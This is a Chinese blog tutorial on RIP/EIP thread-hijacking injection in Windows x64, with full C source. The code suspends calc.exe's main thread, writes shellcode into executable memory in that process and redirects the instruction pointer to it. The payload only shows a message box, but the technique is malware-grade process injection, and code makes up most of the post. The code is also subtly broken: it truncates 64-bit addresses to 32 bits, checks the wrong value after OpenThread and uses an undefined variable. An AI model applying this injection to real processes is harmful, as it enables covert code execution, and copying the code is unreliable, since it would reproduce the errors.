ndl1302732的專欄
阿新 • • 發佈:2018-12-14
高手請飄過~~~~~~~~~~~~~~~~~
RIP --- x64體系 EIP --- x86體系
RIP/EIP注入原理: 1 掛起目標執行緒,需要用到 SuspendThread 函式 2 掛起之後獲取目標執行緒的上下文,需要用到 GetThreadContext函式 這個函式可以獲得一個CONTEXT結構體封裝的資料。這個結構體的定義在winnt.h標頭檔案中 結構體裡面儲存了當前執行緒的上下文資訊,比如當前執行緒的RIP/EIP在哪裡,通用暫存器的值是 多少等等。 3 RIP/EIP注入關鍵就是修改Context中的RIP/EIP暫存器。使得要執行的程式碼強制跳轉到我們 指定的程式碼。最後將上下文設定回去,這用到 SetThreadContext 函式,最後執行ResumeThread 函式,將掛起執行緒恢復執行。 難點: 1 位置無關程式碼編寫,為什麼要位置無關這裡不再多說了。 2 要注意函式棧對齊問題,其實我這個問題也沒太搞明白, 總之就是棧沒對齊,我的例子程式碼在呼叫MessageBox時會報錯,詳細情況看shellcode的註釋 有懂得希望留言,指教一二。
#include "stdafx.h" #include <stdio.h> #include <Windows.h> #include <Tlhelp32.h> #include "D:\\VS\\DllToInject\\DllToInject\\Utils.h" #pragma comment(lib, "D:\\VS\\DllToInject\\x64\\Release\\UtilDll.lib") CHAR shellcode[] = { 0x68, 0x78, 0x56, 0x34, 0x12, //push org rip (這裡需要修復成原來的rip,暫時用0x12345678佔位 見FixShellCode) 0x41, 0x51, //push r9 0x41, 0x50, //push r8 0x52, //push rdx 0x51, //push rcx 0x50, //push rax 0x48, 0x83, 0xEC, 0x28, //sub rsp, 28 這個程式碼不加呼叫MessageBox會莫名其妙出錯,好像是x64需要棧 mod 16對齊 0x41, 0xB9, 0x00, 0x00, 0x00, 0x00, //mov r9d,0 0x41, 0xB8, 0x00, 0x00, 0x00, 0x00, //mov r8d,0 0xBA, 0x00, 0x00, 0x00, 0x00, //mov edx,0 0xB9, 0x00, 0x00, 0x00, 0x00, //mov ecx,0 0xB8, 0x78, 0x56, 0x34, 0x12, //mov eax, messagebox (這裡需要修復成Messagebox的地址,暫時用0x12345678佔位 見FixShellCode) 0xFF, 0xD0, //call rax 0x48, 0x83, 0xC4, 0x28, //add rsp, 28 平衡棧,很簡單 0x58, //pop rax 0x59, //pop rcx 0x5A, //pop rdx 0x41, 0x58, //pop r8 0x41, 0x59, //pop r9 0xC3 //ret 返回到原來的Rip, 這裡很關鍵 }; //修復shellcode中的兩處絕對地址 //oldRip 執行緒掛起前的RIP //pfn Messagebox的地址 //偷懶起見, 這裡利用for迴圈找0x12345678,找到了就修復,否則需要去數數比較麻煩 void FixShellCode(DWORD oldRip, DWORD pfn){ for (int i = 0; i < sizeof(shellcode); ++i){ if (*(DWORD *)(shellcode + i) == 0x12345678){ *(DWORD *)(shellcode + i) = oldRip;//修復RIP break; } } for (int i = 0; i < sizeof(shellcode); ++i){ if (*(DWORD *)(shellcode + i) == 0x12345678){ *(DWORD *)(shellcode + i) = pfn;//修復messagebox的地址 break; } } } int _tmain(int argc, _TCHAR* argv[]) { if (!AdjustProcessTokenPrivilege()){ printf("提權失敗\n"); } DWORD dwPid = GetPidByName("calc.exe"); if (dwPid == 0){ printf("GetPidByName failed\n"); return -1; } printf("calc.exe pid=%d\n", dwPid); DWORD dwThreadId = GetMainThread(dwPid); printf("calc main thread id = %d\n", dwThreadId); HANDLE hProcess; hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); if (hProcess == NULL) { MyOutputDebugString("開啟程序失敗!!!!"); return -1; } //開啟目標主執行緒 HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, dwThreadId); if (!OpenThread) { printf("OpenThread 失敗"); goto SAFE_EXIT; } //掛起目標主執行緒 DWORD bRet = SuspendThread(hThread); if (bRet == -1) { printf("SuspendThread 失敗"); goto SAFE_EXIT; } CONTEXT oldContext = { 0 }; CONTEXT newContext = { 0 }; DWORD dwOldEip = 0; oldContext.ContextFlags = CONTEXT_FULL; bRet = GetThreadContext(hThread, &oldContext); if (!bRet) { printf("GetThreadContext 失敗"); goto SAFE_EXIT; } newContext = oldContext; //兩個函式地址的差值就是shellcode程式碼的大小,可能會有一些多的對齊資料,但是不影響 DWORD funcSize = sizeof(shellcode); printf("shellcode size =%d\n", funcSize); FixShellCode(oldContext.Rip, (DWORD)MessageBox); //1.在遠端程序中分配記憶體,可讀可寫可執行 LPVOID pszRemoteBuffer = (char *)VirtualAllocEx(hProcess, NULL, USN_PAGE_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (pszRemoteBuffer == NULL) { printf("申請遠端空間失敗"); CloseHandle(hProcess); return -1; } printf("buffer = %p\n", pszRemoteBuffer); //2.在遠端申請的記憶體空間中寫入shellcode SIZE_T dwWriten = 0; if (!WriteProcessMemory(hProcess, pszRemoteBuffer, shellcode, funcSize, &dwWriten)) { printf("寫入shellcode失敗"); CloseHandle(hProcess); VirtualFreeEx(hProcess, pszRemoteBuffer, USN_PAGE_SIZE, MEM_DECOMMIT); return -1; } printf("shellcode write bytes:%d\n", dwWriten); #ifdef _WIN64 newContext.Rip = (DWORD)pszRemoteBuffer; //dwOldEip = newContext.Rip; #else newContext.Eip = (DWORD)g_lpBuffer; //dwOldEip = newContext.Eip; #endif bRet = SetThreadContext(hThread, &newContext); if (!bRet) { printf("SetThreadContext 失敗"); goto SAFE_EXIT; } //然後把主執行緒跑起來 bRet = ResumeThread(hThread); if (bRet == -1) { printf("ResumeThread 失敗"); goto SAFE_EXIT; } //等shellcode執行完畢,然後再釋放記憶體 VirtualFreeEx Sleep(3000); SAFE_EXIT: if (hThread){ CloseHandle(hThread); } VirtualFreeEx(hProcess, pszRemoteBuffer, USN_PAGE_SIZE, MEM_DECOMMIT); CloseHandle(hProcess); return 0; }